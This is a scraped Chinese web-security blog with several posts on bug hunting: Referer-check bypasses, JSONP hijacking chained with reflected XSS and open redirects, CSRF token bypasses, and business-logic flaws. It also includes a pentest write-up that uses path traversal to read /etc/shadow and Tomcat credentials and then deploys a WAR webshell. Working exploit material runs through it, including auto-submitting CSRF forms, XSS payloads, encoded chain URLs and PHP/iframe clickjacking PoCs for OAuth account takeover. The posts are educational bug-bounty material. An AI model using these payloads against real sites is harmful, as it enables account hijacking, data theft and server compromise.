position: fixed; width: 614px; height: 30px; margin: 0 auto; left: 0; right: 550px; display: block; top: 640px; } </style> </head> <body> <input type="text" id="test" value='<svg/onload=alert(1)>'><br> <input type="submit" value="test" onclick="cpy()"> <div class="testframe"> <input type="text" id="submit"> <iframe id="test0" src="https://secquan.org/New"></iframe> </div> <script type="text/javascript"> function cpy(){ var content=document.getElementById("test"); content.select(); document.execCommand("Copy"); } </script> </body> </html> 最终演示 总结 比较打开脑洞的一次研究,苛刻的攻击条件其实在进行足够的丰富诱导下就会变得非常的有趣。

2018/8/28
articleCard.readMore

GET请求Referer限制绕过总结

前言 在做测试的时候会遇见这样几个漏洞场景: JSONP跨域劫持 反射XSS GET请求类型攻击 但是,在相对安全的情况下,都会有Referer(HTTP请求头)的限制。那么该如何去做绕过呢? 正文 什么是Referer? Referer是请求头的一部分,假设A站上有B站的链接,在A站上点击B站的链接,请求头会带有Referer,而Referer的值为A站的链接;这也就是为什么上文所说的场景,遇见了Referer的限制就可能GG了。 绕过之道 常规绕过 一个实际场景: 先来说说一些常规化的东西: 子域名方式 使用子域名的方式进行绕过: 域名前增加 在域名前面增加随机的a-z和0-9也可以进绕过: ?号 将域名作为GET请求参数进行绕过: 打破常规 无Referer 之前在做测试的时候,将Referer头删除也可以绕过,但是在真正的利用中能不能去实现呢?是可以的。 在HTML标签中有这样一个标签<meta>,而这个标签是表示无Referer,就是如下的代码: <meta name="referrer" content="never"> 我原来的PoC为: <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://127.0.0.1/test.php"> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html> 修改之后的PoC为: <html> <meta name="referrer" content="never"> <body> <script>history.pushState('', '', '/')</script> <form action="http://127.0.0.1/test.php"> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html> 与其他资源组合 超链接 在上文就提到了A站有B站的链接,在A站点击B站的链接,Referer就为A站的链接了。那么在这里我能否使用白名单域下的业务做超链接,链接地址为A站存在问题的链接再搭配一个点击劫持或者诱导的方式进行组合攻击? 例如gh0st.cn做了Referer的限制: Referer State http://gh0st.cn (Current Domain) YES http://www.hi-ourlife.cn (Other Domain) NO http://a.gh0st.cn (SubDomain) YES 实际场景: 公开信息对外 在个人中心处可以编辑个人的微博地址: 微博地址是对外的公开信息: 那么结合一下点击劫持或者用户常规的点击了~那就GGGGGGG了~ 论坛 现在很多厂商都有自己的开放论坛,特别是Discuz这种很多,而Discuz回复是可以使用超链接的: 回复这样的格式:[url=u]t[/url] u部分为地址,t部分为地址名字~ URL跳转 302跳转是否可以?NO,不可以。 这里的URL跳转是JavaScript的URL跳转。 常见的两个: window.location.href="url"; window.open("url"); 反射XSS(Referer限制) 这里我已经有一个存在任意URL跳转漏洞了: http://test.vulkey.cn/link.php?url=http://www.hi-ourlife.com 我有一个反射XSS漏洞: http://vulkey.cn/jsonp.php?callback=vulkey 当 referer = a.com : 当 referer = vulkey.cn : 当 referer = *.vulkey.cn : 这个接口验证了Referer使用之前的方法没办法绕过,于是采用组合拳搭配。 于是有了如下的构建:http://test.vulkey.cn/link.php?url=http://vulkey.cn/jsonp.php?callback=vulkey<svg/onload=alert(1)> JSONP劫持+反射XSS+URL跳转 这个案例是基于上面反射XSS案例的,现在已知的三个问题: JSONP接口 http://vulkey.cn/jsonp.php?callback=vulkey 有Referer限制 反射XSS http://vulkey.cn/jsonp.php?callback=vulkey<svg/onload=alert(1)> 有Referer限制 JavaScript URL跳转 http://test.vulkey.cn/link.php?url=http://www.hi-ourlife.com 一般JSONP跨域劫持的PoC是这样的: <script>function jsonp2(data){alert(JSON.stringify(data));}</script> <script src="url"></script> 但是因为有Referer限制,就不能在自己的站点上做PoC了,就只能利用反射XSS漏洞构建PoC: http://vulkey.cn/jsonp.php?callback=%3Cscript%3Efunction+vulkey(data){alert(JSON.stringify(data));}%3C/script%3E%3Cscript+src=%22http://vulkey.cn/jsonp.php?callback=vulkey%22%3E%3C/script%3E 但仅仅如此是不够是因为XSS有Referer来源的限制,所以最终的PoC应该是这样的: http://test.vulkey.cn/link.php?url=http://vulkey.cn/jsonp.php?callback=%253Cscript%253Efunction%2bvulkey%28data%29%7Balert%28JSON.stringify%28data%29%29%3B%7D%253C%2fscript%253E%253Cscript%2bsrc%3D%2522http%3A%2f%2fvulkey.cn%2fjsonp.php%3Fcallback%3Dvulkey%2522%253E%253C%2fscript%253E 也就是说在这里JS的URL跳转解决了XSS的Referer限制问题,而XSS又解决了JSONP接口的Referer限制问题,这是一个联合组合拳。如果你发现的XSS没有Referer限制则不需要这么”麻烦”。 结尾 文中总结一些小的TIPS,针对我遇到的实际案例进行了漏洞的复现截图,打开思维其实还有更多更好的思路,有机会后期会写出来。

2018/8/1
articleCard.readMore

我的Web应用安全模糊测试之路

前言 坏蛋(春秋社区)跟我说要我准备议题的时候,我是懵逼的~仔细想了一下自己这么菜,能讲什么呢? 思考了很久最终定了这个标题:《我的Web应用安全模糊测试之路》 这篇议题主要围绕我做Web应用安全测试的时候所运用的一些技巧和思路。 我的Web应用安全模糊测试之路 什么是Web应用中的模糊测试? Web应用是基于什么进行传输的?HTTP协议。 模糊测试是什么?Payload随机。 Payload放哪里?HTTP请求报文格式是什么?请求行(请求方式 URI HTTP/1.1)、请求头、请求报文主体(POST Data)。 模糊测试秘籍->增(Add) && 删(Del) 被固化的测试思维 我列出一个请求,边看边思考你会怎么测试这个请求呢? HTTP请求报文(Request): GET /uc/getInfo HTTP/1.1 Host: gh0st.cn Origin: http://gh0st.cn ... HTTP响应主体(Response Content): { "id": "1024", "realName": "yudan", "mobilePhone": "13888888888", "cardNo": "111111111111111111" } 看到这想必你已经知道自己要测试的内容是什么了,一般来讲很多人会先注意Origin这个HTTP请求报文头,看响应的HTTP头: ... Access-Control-Allow-Origin: http://gh0st.cn Access-Control-Allow-Crdentials: True Access-Control-Allow-Methods: OPTION, POST, GET ... 如果我修改Origin的值为http://qianan.cn,返回的也是Access-Control-Allow-Origin: http://qianan.cn,那就代表着这里存在CORS跨域资源共享(任意域)的问题,具体在这里就不多说了参考我之前的一篇文章:http://gh0st.cn/archives/2018-03-22/1 这里也许会有什么匹配之类的验证,一般的两种绕过方法: 1.子域名(http://{domain}.mst.cn/ -> http://gh0st.cn.mst.cn/) 2.域名前缀(http://{a-z}{domain} -> http://agh0st.cn/) 也许到这里部分人的测试已经Over了~那么我还会继续测试下去,如何测?往下看↓ 模糊测试之增 增 - 入门 观察响应报文格式: { "id": "1024", "realName": "yudan", "mobilePhone": "13888888888", "cardNo": "111111111111111111" } 这里的格式为JSON格式,那么跟JSON有关的漏洞最先想到的是什么? 没错,JSONP跨域劫持(想科普下?看这里-> http://gh0st.cn/archives/2018-03-22/1)。 JSONP跨域劫持需要具备的条件是回调参数,而这里并没有,没有回调参数,那我就增加一个回调参数,如下是我的一份字典: 使用BurpSuite的Intruder模块,进行枚举测试: GET /uc/getInfo?callback=mstkey HTTP/1.1 GET /uc/getInfo?cb=mstkey HTTP/1.1 GET /uc/getInfo?jsonp=mstkey HTTP/1.1 ... 终于某一条请求得到了我想要的结果: mstkey({"id":"1024","realname":"yudan","mobilePhone":"13888888888","cardNo":"111111111111111111"}) 那在这里我就可以构建PoC了: <script>function mstkey(data){alert(JSON.stringify(data));}</script> <script src="http://gh0st.cn/uc/getInfo?callback=mstkey"></script> 增 - 进阶 除了上面所说的增加回调参数以外,还可以增加什么呢? 增加的参数和值可以分析网站数据、关联网站数据、整合自用字典与网站字段结合。 响应报文转换: { "id": "1024", "realName": "yudan", "mobilePhone": "13888888888", "cardNo": "111111111111111111" } 转换为HTTP请求参数 键=值 格式: id=1024 realName=yudan mobilePhone=13888888888 cardNo=111111111111111111 初次之外还有什么?当然是使用自用字典和如上总结的进行整合: 注意一点,参数都整理好之后,对应的值采用B账号的对应值,因为这样才会有差异,才能进行分析是否存在相关的漏洞,一般加参数会存在越权问题~ 增 - 深入 很多小伙伴挖漏洞的时候核心业务挖不动那肯定怼一些边缘业务和一些后台系统了,大多数人应该都遇见过这样的问题,找到了一个后台的地址点进去是管理界面,突然的有js跳转到登录界面去了,但是查看页面代码却能获取到很多的后台接口~ 很多人会选择登录爆破、未授权接口使用这些常规操作类型去测试,可能测完就会抛掉了,而我之前测试某项目的时候碰见的就是当我在接口后面加上admin=1的时候响应报文返回了这样的头: Set-Cookie: xxxxxx=xxxxxxx 给我设置了一个Cookie,我使用这个Cookie直接就进入了后台。 模糊测试之删 在这里有一处实际场景: 其流程是这样的:输入邮箱->点击修改邮箱->发送修改链接到该邮箱->邮箱打开修改链接->成功修改 明显流程就有问题,按照常的流程来说应该先验证原邮箱(手机号)再做修改操作。 点击修改邮箱按钮获取到的请求如下: POST /uc/changeEmail HTTP/1.1 Host: ** ... mail=admin%40gh0st.cn&token=md5(token) 这里有Token保护,用来防御CSRF的,这里将token置空或者删除 键=值 即可绕过,这里是因为token并没有实际的去做校验,也就是”表面安全”。 增的组合拳 在”删”这个环节里说到了删除CSRF的token绕过的方法,但不久之后厂商进行了修复。。。 它成功的让token校验了,这里无法再使用原来的方法了,但是在这里观察请求和响应: POST /uc/changeEmail HTTP/1.1 Host: ** ... mail=admin%40gh0st.cn&token=md5(token) 响应主体: 这里输入一个错误的或者已经绑定过的会提示输入错误,然后回显请求报文中的POST Data参数mail的值~ 也就是说在这里也许会存在CSRF + POST XSS,但是因为Token问题没办法利用~我们该怎么办? 这里思来想去,只能尝试设想后台的参数接收->输出代码: <?php echo $_REQUEST['mail'];//注意这里使用的是$_REQUEST 默认情况下包含了 $_GET,$_POST 和 $_COOKIE 的数组。 ?> 如果是如上的接收输出,那么在这里,我修改链接为: http://gh0st.cn/uc/changeEmail?mail=admin@gh0st.cn 神奇的发现页面回显了admin@gh0st.cn到界面上了,但是并不会去走修改邮箱,也就是说这里还是需要POST请求才会走修改邮箱流程,这里我先有了反射XSS的想法,但是奈何过滤了… 于是衍生了第二个思路搭配点击劫持~(科普一下?->http://gh0st.cn/archives/2017-12-20/1) 透明化修改邮箱界面,然后获取修改邮箱按钮位置,做一个一模一样的按钮放在修改邮箱按钮之上,诱导用户点击这个按钮实际上是点击了修改邮箱的按钮~ 结尾 感谢有你,每一个你,都要活的精彩。

2018/7/25
articleCard.readMore

记一次对某企业的渗透测试实战

前言 本文总结一下漫长的渗透测试过程,想尽了各种方法,终于找到了突破口。so没有绝对的安全,所谓的安全性其实都是相对的~ 信息踩点 在这里其实没办法去做一些有价值的收集,只能踩点,踩坑。 信息难点: 传输加密: 要做渗透的目标是一个APP,根据抓到的请求包发现这个APP是经过某产品加固过的,所以HTTP的POST请求正文部分(Data)是神奇的密文~ 分析难点 分析: 信息踩点其实也是解决难点的过程,在这里我们尝试对APP进行逆向,发现并没有什么东西,因为被加固了。 对APP进行功能的整理,逐个功能点进行抓包分析: 请求正文(data)虽然是密文,但是请求的URI还是真正按照对应的功能去请求的(参考URI的命名和功能的相对应性) 建立设想(A): 在这里请教了师傅,说可能GET请求参数并没有经过加密,而后台很有可能是这样写的: <?php $mstsec = $_REQUEST['vulkey'];//注意这里使用的是$_REQUEST 默认情况下包含了 $_GET,$_POST 和 $_COOKIE 的数组。 ?> 一点即通,首先我可以去测试是否是真的这样的后端处理接收。 为了满足第一步的验证,我需要想办法找到一个GET请求的包并且有带有GET参数,这样我才能判断规则,不然就是大海捞针。 有价值的东西 其实对APP做渗透测试,大部分情况下还是对网站做渗透测试。 所以在这里抓包获取到的HOST,直接对其进行了前期的常规信息刺探(端口、目录、指纹…) 中间件:Tomcat 目录开放:/fileUpload/ 端口开放:8001 1444 APP三个功能点:个人用户、资金管理、生活栏目 渗透开端 一开始粗略的对整个APP进行抓包,然后做一些简单的测试,发现并没有那种明面上的漏洞(SQL注入、XSS等等…),但是获取了这几条URI: /userCenter/getUser [获取用户信息URI POST] /userCenter/pay/getSign?userSign= [获取Sign POST] /userCenter/life/showShop?pId= [获取商品信息 GET] /userCenter/showQRcode [获取二维码图片 POST] 不小心日偏 仔细的对每个功能点进行测试的时候,抓到了一些”逃出加固命运”的明文报文。 发现了S2-005这个历史悠久的Struts2框架远程代码执行问题: 执行了whoami: 发现了SQL注入,这里需要做一些简单的绕过(e.g. AandND 1 like 1): 然而没看清楚,一下次给日错地方了…很尴尬。 关联分析 日偏后我分析了一下两者的特征,发现应该出自同一个程序员之手,并且这个程序员很喜欢使用驼峰命名法… 验证设想(A) 在这里我尝试根据每个URI功能点生成GET请求参数的dict: /userCenter/getUser [获取用户信息URI POST] dict: [uId, userId, uName, userName …] /userCenter/showQRcode [获取二维码图片 POST] dict: [uId, userId, uName, userName, imagePath, filePath, codePath, fileName …] 生成请求: GET /userCenter/getUser?uId=10001 GET /userCenter/getUser?userId=10001 GET /userCenter/getUser?uName=test001 GET /userCenter/getUser?userName=test001 ... GET /userCenter/showQRcode?uId=10001 GET /userCenter/showQRcode?userId=10001 GET /userCenter/showQRcode?uName=test001 GET /userCenter/showQRcode?userName=test001 GET /userCenter/showQRcode?imagePath=../../index.do GET /userCenter/showQRcode?filePath=../../index.do GET /userCenter/showQRcode?codePath=../../index.do GET /userCenter/showQRcode?fileName=../../index.do ... 结论 现实残酷,打败了设想。 绝处逢生 就在想放弃的时候,决定打算”垂死挣扎”一下,重新开始”审视”了各个功能模块,眼光又转到了这个二维码地方。(因为二维码的”皮相”,所以很多人都会忽略它) 这里我去解析了二维码的地址: 失算…失算…,当去访问这个地址的时候,响应报文中会多出这样的头: ... Set-Cookie: USESSIONPID=xxx; ... jpg content 这时候我就知道是时候修改uId了,然而修改了没用,根据多年的经验(吹牛)我认为是uSign参数起了作用,这时候对uSign进行删除发现不行,会提示uSign参数不存在,当我置空这个参数,发现居然成功了又返回了用户的Cookie凭证…好吧,说明这里有一个逻辑问题… 到这下去就很简单了,获取管理员权限有上传点,测试使用jhtml的后缀可以直接绕过上传,但是上传上去之后,直接访问就给你download下来了(很多次遇到这种问题…) 好吧,管理员也没啥能危害到服务器的东西了…不过回过头再来看看,二维码这个点还没啃完呢,fileName这个参数还没去测试,fuzzdb了解一下,先怼lfi的字典进去跑(有个坑这里一定要填写完整[uId, uSign]),然后再进行Fuzz: 从intruder模块(BurpSuite)的测试结果发现这里是可以读取文件的,并且判断这个web服务是root权限运行的因为我修改fileName参数的值为../../../etc/shadow时我直接可以获取到文件的内容,从而获取root账号权限的密码: (解密不了),怎么通过这个本地文件读取漏洞拿到shell?我的思路是通过读取tomcat的密码配置文件然后进入tomcat的Web管理部署war包进行getwebshell,但是这里做了一圈的目录猜解,死活没找到tomcat的应用目录… 读取/root/.bash_history啊(这个文件是记录root用户输入过的命令-老师傅提醒到),突然间我茅塞顿开,是啊,一般运维人员会通过命令行进行管理,那么肯定会有目录出现啊。 我修改fileName参数的值为../../../root/.bash_history,搜索下关键词tomcat就发现了: 成功的发现了root用户的命令历史并且找到了Tomat的应用安装路径,那么我只需要修改fileName的参数值为../../../../home/apache-tomcat-7.0.67/conf/tomcat-users.xml,直接就可以读取到Tomcat的管理员账号权限,从而直接通过外部访问的形式进入Tomcat的管理界面进行控制。 登录进来之后直接到WAR file to deploy功能点,进行war包的部署(在这里使用压缩的方式将网站后门压缩成zip格式然后修改后缀名.zip为.war即可),点击Browser选择war包然后点击Deploy: 这里部署上去之后回到Applications功能点,可以看到部署的情况,点击你的命名链接然后加上你压缩的文件名(这里我的是 /vulkey/vulkey.jsp)使用Webshell管理工具进行管理,看见了我久违的界面,久违的root权限: 总结 因为后渗透可能会影响正常业务的运行,所以没有继续进行下去,很遗憾,希望下次有机会。 END: 送给大家一句话:心细则挖天下。

2018/6/20
articleCard.readMore

密码重置思路-小密圈的一道题

前言 考验技能:黑盒逻辑思考思维 提示:http://gh0st.cn/archives/2018-04-18/1 (文中出现过这个思路) 题目链接:已经下线(密码重置) 一般来说,很多人应该先走一遍流程: 走流程 验证码发送 返回包: 验证码验证 错误返回: 流程分析 察言观色 如上是发送验证码请求对应的响应报文,从报文可以获取到如下的信息: 后端验证验证码的方式是基于SESSION会话ID的 验证码的形势是4位数纯数字 缺陷发现 四位数纯数字,爆破一下?可是问题来了~ 错误三次之后就提示失效了验证码: 怎么办?这是一道考思维的题目,国内太多的逻辑漏洞的文章了,可是大多数人学习的是1:1的学习,不会变通。逻辑漏洞不仅仅存在于固有的业务逻辑上,还有代码逻辑~打开你的黑盒测试思维,任何点你都只能猜测,所以为什么不多猜猜? 文章中写过会有万能密码的存在: 测试下在这里并不存在,没有这样的缺陷,这时候你就需要考虑更多的东西,不要做个“表面性”测试的“白帽子”~ 之前说了错误三次验证码会失效,但是否是真的失效了?假设没有失效只是“表面性”的输出失效呢? 思考后台代码逻辑,参考我提示中链接的文章: 在这里代入到密码重置这一环节是否有用呢?来测试下: 这里多了一线生机,因为提示了密码错误,而不是失效,那么是否能借助这个来绕过次数限制呢? 在这里你可以选择使用Python来帮助你,但我认为这完全没必要,因为BurpSuite解决了一切: 数据包发送到intruder模块,设置attack type为Pitchfork,设置好payload位置: Pitchfork的工作模式是多组的,如上我设置了两个payload位置,使用这个模式需要两个payload的数量是一样的,发送的请求为A[1]对B[1]。 设置payload: 第一个为字符块(Character blocks)-这种类型的Payload是指使用一个给出的输入字符串,根据指定的设置产生指定大小的字符块,表现形式为生成指定长度的字符串。 第二个为数字(Numbers)-这种类型的Payload是指根据配置,生成一系列的数字作为Payload。 测试发现真实可用: 总结 黑盒测试的精华是什么?Fuzzing. 你现在掌握的思路归根到底都是Fuzzing的结晶。 在漏洞挖掘中打开你的思维,加油~

2018/5/5
articleCard.readMore

CSRF之你登陆我的账号#业务逻辑组合拳劫持你的权限

前言 这是一个理论上通杀很多大型企业网站的漏洞缺陷~ 可能很多朋友点击来看见标题就觉得,这家伙在吹牛逼了我倒要看看这货能怎么吹,CSRF之登陆我的账号能有啥玩意危害? 先按奈住你心中不屑的情绪,听我慢慢道来~ 通用业务功能分析 最近很喜欢挖一些通用漏洞(不是程序通用,而是功能通用),会经常拿着BAT三家以及其他一些大型网站进行业务功能点的对比,来看看有哪些是共用的功能点,这边列出以下的几条: QQ快捷登陆 微信快捷登陆 微博快捷登陆 其他…… OAuth2.0认证缺陷-快捷登陆账号劫持的问题具体可以参考:http://gh0st.cn/archives/2018-02-12/1 (来自i春秋社区) 这种问题其实需要一定的运气因为很多的快捷登陆有state参数的干扰,所以是完全没办法去利用的。 在这里我尝试能不能挖到一个新的缺陷,在走正常的快捷登陆流程时我发现需要绑定这个网站的账号才可以正常的使用用户的功能,这时候反着想网站的用户中心是否有第三方的账号绑定? 这里找了大部分的网站都有这样的功能(第三方账号绑定,绑定了即可使用第三方账号直接登陆),找到了这个功能点就可以来测试,先走一遍正常的绑定流程: 点击绑定第三方账号 进入第三方账号绑定页面 (如果第三方账号是登陆状态)->需要点击授权按钮;(如果第三方账号是未登陆状态)->需要输入第三方的账号密码登陆->点击授权按钮 设立猜想 梳理了流程之后,一个很骚的思路就从脑子里蹦了出来: 有第三方账号绑定这个功能,登陆处也有第三方账号登陆功能,也就是说绑定第三方账号代表着权限分享给了第三方账号。 猜想建立->如果我有第三方账号所在网站的CSRF之你登陆我的账号缺陷,让受害者先登陆我的第三方账号(为了避免损失,我可以注册一个小号),然后绑定处也有CSRF绑定的缺陷或者点击劫持问题,那么我就可以让受害者绑定我的第三方账号,然后根据我的第三方账号来登陆受害者的账号,劫持到其权限。 验证猜想 流程 个人中心有这个第三方的账号绑定: 在这里QQ、github、微博、微信四个第三方账号绑定中我有了微博的CSRF之你登陆我的账号这个缺陷,所以这里测试下微博的第三方账号绑定。 页面有微博账号绑定的跳转链接: 通过这个链接进入了绑定的界面(未登陆微博): 通过这个链接进入了绑定的界面(已登陆微博): 当我授权绑定之后,微博发生了变化,管理中心->我的应用->我的应用: 会多出这个网站在里面,那么这个变化是对我们有利的,还是? 这里我解绑了微博,然后再使用这个已经授权了的微博进行绑定,发现居然不用点击授权了,直接就绑定了。 很显然,在这里这个便利解决了一些攻击的利用难度。 实现 我们现在具备的几个条件: 微博的CSRF之你登陆我的账号缺陷: 登陆你的微博,然后访问http://login.sina.com.cn/sso/crossdomain.php?action=login,会返回这样的内容给你: 其中arrURL对应的链接就是凭证登陆的~ 你的微博已经授权过了要存在缺陷的网站(这里方便直接跳转而不用再去点击按钮!所以你可以先用自己的微博绑定下存在缺陷的网站的账号,然后解绑就行了~) 绑定请求存在csrf的缺陷(这里因为是GET请求类型 /oauth/weibo/redirect,而一般不会对GET请求类型进行CSRF的限制~~) 场景1.攻击步骤: 对方点开凭证链接登陆了你的微博,对方点开绑定微博的链接,绑定了你的微博,完成攻击。 考虑到凭证时效性的问题,在这里写了一个动态的PoC: <?php //get weibo login token $curl = curl_init(); $cookie = "你微博的Cookie"; curl_setopt($curl, CURLOPT_URL, 'http://login.sina.com.cn/sso/crossdomain.php?action=login'); curl_setopt($curl, CURLOPT_HEADER, 1); curl_setopt($curl, CURLOPT_COOKIE, $cookie); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); $data = curl_exec($curl); curl_close($curl); //echo $data; $t = preg_match('/ticket=(.*?)&sso/', $data, $res); $url = "https://passport.weibo.com/wbsso/login?ticket={$res[1]}&ssosavestate=1556602678"; ?> <html> <head> <style type="text/css"> .testframe { height: 100%; } iframe { height: 100%; width: 100%; border: 0; margin: 0; padding: 0; /*控制不透明度的属性,兼容各大浏览器*/ filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/ -moz-opacity: 0; /*提供给火狐浏览器的*/ -webkit-opacity: 0; /*提供给webkit内核的*/ -khtml-opacity: 0; /*提供给KHTML内核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/ opacity: 0; /*控制不透明度的属性,兼容各大浏览器*/ } </style> </head> <body> <div class="testframe"> <iframe id="test0" src="<?php echo $url;?>"></iframe> </div> <script> function loadsrc(){ document.getElementById("test0").src="https://gh0st.cn/oauth/weibo/redirect"; } setTimeout("loadsrc()",2000); </script> </body> </html> 场景2.攻击步骤: 有些网站可能是post请求限制了referer或者根本没有跳转的请求而是直接进入了微博的绑定界面,因为state参数的原因导致根本无法以这个绑定页面为链接的形式去做攻击~ 可能有很多朋友就有疑问了,为什么我老是提到state参数?这个参数是干什么用的呢?这里参考下微博的OAuth2.0接口的开发文档: http://open.weibo.com/wiki/Oauth2/authorize 是防止CSRF的,也就是说在这里如果绑定的链接是如下这样子的: 没有state参数验证的,那么你可以直接以此作为绑定链接,覆盖场景1中PoC里面的这个链接:https://gh0st.cn/oauth/weibo/redirect 好了,说了那么多跟场景2没用的话,切入主题来说说场景2的情况到底该如何完成攻击? 很简单我们可以使用点击劫持来完成攻击,如下动态的PoC: <?php //get weibo login token $curl = curl_init(); $cookie = "你微博的Cookie"; curl_setopt($curl, CURLOPT_URL, 'http://login.sina.com.cn/sso/crossdomain.php?action=login'); curl_setopt($curl, CURLOPT_HEADER, 1); curl_setopt($curl, CURLOPT_COOKIE, $cookie); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); $data = curl_exec($curl); curl_close($curl); //echo $data; $t = preg_match('/ticket=(.*?)&sso/', $data, $res); $url = "https://passport.weibo.com/wbsso/login?ticket={$res[1]}&ssosavestate=1556602678"; ?> <html> <head> <style type="text/css"> .testframe { height: 100%; } iframe { height: 100%; width: 100%; border: 0; margin: 0; padding: 0; /*控制不透明度的属性,兼容各大浏览器*/ filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/ -moz-opacity: 0; /*提供给火狐浏览器的*/ -webkit-opacity: 0; /*提供给webkit内核的*/ -khtml-opacity: 0; /*提供给KHTML内核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/ opacity: 0; /*控制不透明度的属性,兼容各大浏览器*/ } .btn { position: fixed; width: 70px; height: 22px; left: 167px; right: 0; display:block; top: 295px; } </style> </head> <body> <div class="testframe"> <input type="button" class="btn" value="Click"> <iframe id="test0" src="<?php echo $url;?>"></iframe> </div> <script> function loadsrc(){ document.getElementById("test0").src="https://gh0st.cn/usercenter/ubind"; } setTimeout("loadsrc()",2000); </script> </body> </html> 简单的说明下这个PoC的用处: 总结 可能把每一项单独的拎出来会发现这并没有缺陷,但是一旦参与到了业务逻辑中,就一定会存在一定的问题。 不要看不起一个看似没危害的漏洞甚至一个缺陷,因为你永远不知道它能发挥的巨大危害。

2018/4/28
articleCard.readMore

Web安全测试学习手册-业务逻辑测试

首先感谢朋友倾璇的邀请 http://payloads.online/archivers/2018-03-21/1 ,参与了的相关撰写,目前负责业务逻辑测试这一块的撰写,目前初步已经成型,先发出来让大家看看,欢迎点评,也可以加入我们一起来撰写~ 业务逻辑测试 介绍:这里对Web应用业务逻辑方面的安全缺陷进行介绍和常见案例讲解。 任意用户密码重置 常见的缺陷 * 1.验证码类缺陷 -场景: 1.1 验证码回显在客户端(响应主体、Set-Cookie等等…)。 1.2 验证码过于简易时效性过长,接口未做限制(一般为纯数字4-8位数,时效性长达30分钟以上可以对验证码进行枚举)。 * 2.未校验权限/前端校验/越权 -场景: 2.1 任意手机号验证码都可重置任意账号。 2.2 修改响应包的主体(根据实际情况来修改 例如验证请求对应的响应报文的主体为false 你可以修改为true)。 2.3 同一浏览器进入A用户的重置,然后关闭再进入B用户的重置 而实际上重置A用户。 2.4 修改重置密码的相关参数(例如 userid等等…)。 * 3.HOST头伪造 -场景: 3.1 在邮箱找回密码的时候,可以简单替换Host部分进行Fuzz,看看找回密码的链接中的域名是否是根据Host来生成的如果是可以替换成自己的域名。但是这种思路很鸡肋,因为需要用户的点击,这样才可以根据日志看到重置密码的链接,万一重置密码的链接时效性过去就无奈了。 * 4.找回密码的凭证脆弱 -场景: 4.1 见过最多的是找回密码的token是base64编码的,而解码后的明文根据其规则修改就可以成为别人用户找回密码的凭证了。 验证码绕过 常见的缺陷 图形类验证码绕过 * 1.图形验证码可复用 -场景: 3.1 验证码刷新之后,而历史刷新的验证码还是可以继续使用。 3.2 验证码使用过后不刷新,时效性不过期,可以一直复用。 * 2.图形验证码易识别 -场景 4.1 很多验证码的显示很简单,容易被机器识别。 短信类验证码绕过 * 1.验证码过于简易&接口未限制 -场景: 1.1 有些手机短信验证码都为 4-8位 纯数字的验证码,在接口没有任何限制的情况下是可以直接爆破的。 * 2.验证码发送复用&时效性过长&接口未限制 -场景: 2.1 6位数验证码时效性为5分钟,但是在这里同一手机号发送的验证码都是一样的,所以可以在4分钟的时候重新发送一次验证码这样验证码就又有效了,因为验证码一直在被复用,所以可以爆破。 * 3.万能验证码 -场景: 3.1 这是很多大企业的诟病,在未上线前为了方便测试加了888888、000000这样的万能验证码但是上线后没去删除测试的内容导致被恶意利用。 短信/语音验证码重放 无论是发送短信还是语音验证码来做验证,都是需要手机号的,而发送验证码实际上是需要成本的,需要跟运营商或者是第三方验证码平台进行合作,多数验证码为0.01元一条,当然也有更便宜的,所以这边的问题也会影响到一个企业的资产方面。 常见缺陷 * 1.无限制发送 -场景: 1.1 厂商对验证码发送这一块并没有进行限制时间发送 * 2.代码层逻辑校验问题 -场景: 2.1 很多厂商会对手机号进行限制,如果60秒内发送过就不会发送,但是程序员在设计代码层的逻辑时会出现很多奇葩的问题,例如其为了方便用户体验,正常的代码层的流程为: a.去除用户手误输入的空格以及一些特殊符号 b.验证手机号是否发送过验证码 某些程序员会这样设计流程: a.验证手机号是否发送过验证码(发送过则不放行 没发送过则进入下一步) b.去除用户手误输入的空格以及一些特殊符号 c.发送手机号验证码 * 3.手机号可遍历发送 -场景: 3.1 我之前有提到验证码发送会影响到企业资产,那么发送验证码限制就不能仅仅针对于单一手机号的限制,例如我可以载入一堆手机号的字典,然后直接遍历发送验证码,这也是危害之一。 业务流程绕过 常见缺陷 * 1.无验证步骤跳跃 -场景: 1.1 出现的场景很多:密码重置步骤、支付步骤,对于这种的测试方法有很多中: a.对比法,使用A、B两个账号,A账号先正常走一遍流程,然后记录流程的请求报文跟响应报文,使用B账号来测试是否能绕过直接进入最后一步骤。 b.第六感,假设步骤1的网址为:http://www.test.com/step1,这时候你可以凭借你的第六感修改下链接为/step2之类的来测试。 加密算法脆弱 常见缺陷 * 1.前端呈现加密算法代码 -场景: 1.1 很多厂商算法写的很好,可没用,因为他用的是JS代码,在前端会直接能看见,而尝试跟踪JS的代码就会知道是怎么加密的从而可以直接绕过。 * 2.算法脆弱,明文可判断 -场景: 2.1 这是一个看运气的问题,一段密文为md5的,这时候你要做好自己的分析明文到底是什么,然后去碰撞,例如可能是md5(用户名+邮箱)这样的的组合。 支付逻辑漏洞 常见缺陷 * 1.金额修改 -场景: 1.1 支付的过程中有很多涉及金额的元素可以修改运费、优惠价、折扣等,可以修改为负数金额也可以修改金额为小于原金额的数进行测试,有时候会遇到溢出,你修改金额为较大的数看你会出现只支付1元的情况。 * 2.数量修改 -场景: 2.1 修改购买物品的数量为小数或者负数,同上,有时候会遇到溢出,你修改数量为较大的数看你会出现只支付1元的情况。 * 3.sign值可逆 -场景: 3.1 这是一个看运气的问题,sign多数为对比确认金额的一段内容,很多都是md5加密的,这时候你要做好自己的分析明文到底是什么,然后去碰撞,例如可能是md5(订单号+金额)这样的的组合,然后修改金额重新生成sign就可以绕过金额固定的限制了。 条件竞争(HTTP并发) 常见缺陷 * 1.条件竞争(HTTP并发) -场景: 1.1 在签到、转账、兑换、购买等场景是最容易出现这样的问题,而并发测试的方法可以使用Fiddler也可以使用BurpSuite Intruder模块。 这里例举下Fiddler测试方法(BurpSuite测试很简单就不说明了): 配置好代理,设置好拦截: 然后点击兑换、转账、签到等最后一步按钮的时候会抓到一个请求,右键这一请求然后按住Shift点击Replay->Reissue Requests: 填入要重发的次数: 